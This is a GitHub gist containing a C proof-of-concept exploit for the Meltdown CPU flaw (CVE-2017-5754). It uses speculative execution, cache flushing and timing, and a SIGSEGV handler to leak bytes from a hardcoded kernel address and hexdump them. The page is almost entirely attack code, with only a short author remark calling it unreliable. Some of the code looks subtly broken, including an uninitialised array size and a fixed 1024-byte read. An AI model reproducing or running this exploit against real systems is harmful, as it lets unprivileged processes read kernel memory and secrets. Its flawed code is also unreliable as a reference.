Skip to content

Instantly share code, notes, and snippets.

@bahorn
Created January 7, 2018 04:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save bahorn/6be453127911bc4f27cf145bfc0a35b8 to your computer and use it in GitHub Desktop.
Save bahorn/6be453127911bc4f27cf145bfc0a35b8 to your computer and use it in GitHub Desktop.
/* Here you have an exploit for CVE-2017-5754, otherwise known as "Meltdown".
*
* Mostly based on the paper [1], but it had to be adjusted a bit.
* I found that the Flush+Reload method didn't work as described (with a buffer
* of 256 pages) and had to do the binary method (which is otherwise faster, but
* more complex to implement).
*
* TSX is not present on many CPUs (including the one I wrote this exploit on),
* so I settled for handling the SEGV signal.
*
* [1] https://meltdownattack.com/meltdown.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <signal.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>
#define TARGET 0xffffffff9c2001e0
jmp_buf buf;
uint8_t k = 0;
uint32_t c = 0;
uint32_t
trigger(uint64_t address, uint8_t bit)
{
if (!setjmp(buf)) {
__asm__ volatile (
"movq %[address], %%r8\n"
"movq $0x100000, %%rbx\n"
"movb %[bit], %%cl\n"
"retry0:\n"
"xor %%rax, %%rax\n"
//"clflush 0x101000\n"
"clflush (0x100000)\n"
"mfence\n"
"lfence\n"
//"prefetcht0 (%%r8)\n"
"mov (%%r8), %%al\n"
"shr %%cl, %%rax\n"
"and $0x1, %%rax\n"
"imul $0x1000, %%rax\n"
"prefetcht0 (%%rbx, %%rax)\n"
//"prefetchnta (%%rbx, %%rax)\n"
"jz retry0\n"
"mov (%%rbx, %%rax), %%rbx \n"
: : [address] "r" (address), [bit] "r" (bit)
);
}
return c;
}
void
sidechannel()
{
sigset_t signal_set;
uint32_t r;
__asm__ volatile (
"mfence\n"
"lfence\n"
"rdtsc\n"
"lfence\n"
"movl %%eax, %%esi\n"
"lfence\n"
"movb (0x100000), %%al\n"
"lfence\n"
"rdtsc\n"
"lfence\n"
"subl %%esi, %%eax\n"
"movl %%eax, %0\n"
: "=r" (r)
);
__asm__ volatile (
"clflush (0x101000)\n"
"clflush (0x100000)\n"
"lfence\n"
);
sigemptyset(&signal_set);
sigaddset(&signal_set, SIGSEGV);
sigprocmask(SIG_UNBLOCK, &signal_set, NULL);
c = r;
longjmp(buf, 1);
}
#define READ_N 100
#define SKIP 1
uint8_t
exploit(uint64_t address, uint32_t threshold)
{
int i;
uint8_t j;
uint64_t above_t[j];
uint8_t guess = 0;
uint64_t blah[8];
uint32_t t[8];
uint32_t o[8];
for (i = 0; i < 8; i++) {
t[i] = 0;
blah[i] = 0;
above_t[i] = 0;
}
for (i = 0; i < READ_N; i++) {
for (j = 0; j < 8; j++) {
t[j] = trigger(address, j);
if (i >= SKIP && t[j] <= threshold) above_t[j] += 1;
}
}
for (i = 0; i < 8; i++) {
o[i] = (above_t[i] < 60);
guess += (o[i] << i);
}
//printf("%02X ", guess);
return guess;
}
void *
dump(uint8_t *block, uint64_t address, size_t len, uint32_t threshold)
{
size_t i;
for (i = 0; i < len; i++) {
block[i] = exploit(address+i, threshold);
}
}
void *
hexdump(uint8_t *block, uint64_t address, size_t len, int row)
{
size_t i;
for (i = 0; i < len; i++) {
if (i%row == 0) {
printf("\n0x%016x | ", address+i);
}
printf("%02X ", block[i]);
}
printf("\n");
}
int
main(int argc, char *argv[])
{
struct sigaction handler;
int bytes=0;
uint32_t threshold = 0;
uint64_t step = 1;
uint64_t t_step = 0;
uint32_t row = 0;
uint64_t address;
char *a = NULL;
if (argc != 5) {
printf("[*] r34d th3 src\n");
exit(-1);
}
address = TARGET;
bytes = atoi(argv[1]);
threshold = atoi(argv[2]);
step = atoi(argv[3]);
row = atoi(argv[4]);
printf("[!] meltr - exploit for meltdown - a - 2018\n");
a = mmap((void *)0x100000, getpagesize()*2, PROT_WRITE|PROT_READ,
MAP_ANONYMOUS|MAP_SHARED, -1, 0);
if (a == NULL) {
printf("[*] UNABLE TO ALLOCATE PROBE BUFFER ?1/1?!\n");
exit(-1);
}
printf("[!] Allocated probe buffer\n");
handler.sa_handler = sidechannel;
sigaction(SIGSEGV, &handler, NULL);
printf("[!] Set SEGV handler\n");
printf("[!] Reading %i bytes from 0x%08x\n", bytes, address);
int i;
/*for (i = 0; i < bytes; i++) {
if (i%row == 0) {
if (i!=0) t_step += step*row;
printf("\n0x%016x | ", address+(i%row)+t_step);
}
exploit(address+(i%row)+t_step, threshold);
}*/
uint8_t * block = NULL;
block = malloc(bytes);
if (block == NULL) {
printf("[!] Unable to allocate memory for our data?!\n");
}
memset(block, 0, sizeof(block));
dump(block, address, 1024, threshold);
hexdump(block, address, bytes, row);
printf("\n");
}
@bahorn
Copy link
Author

bahorn commented Jan 7, 2018

some exploit I wrote for meltdown. not that reliable, but cool to demonstrate the bug behind it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment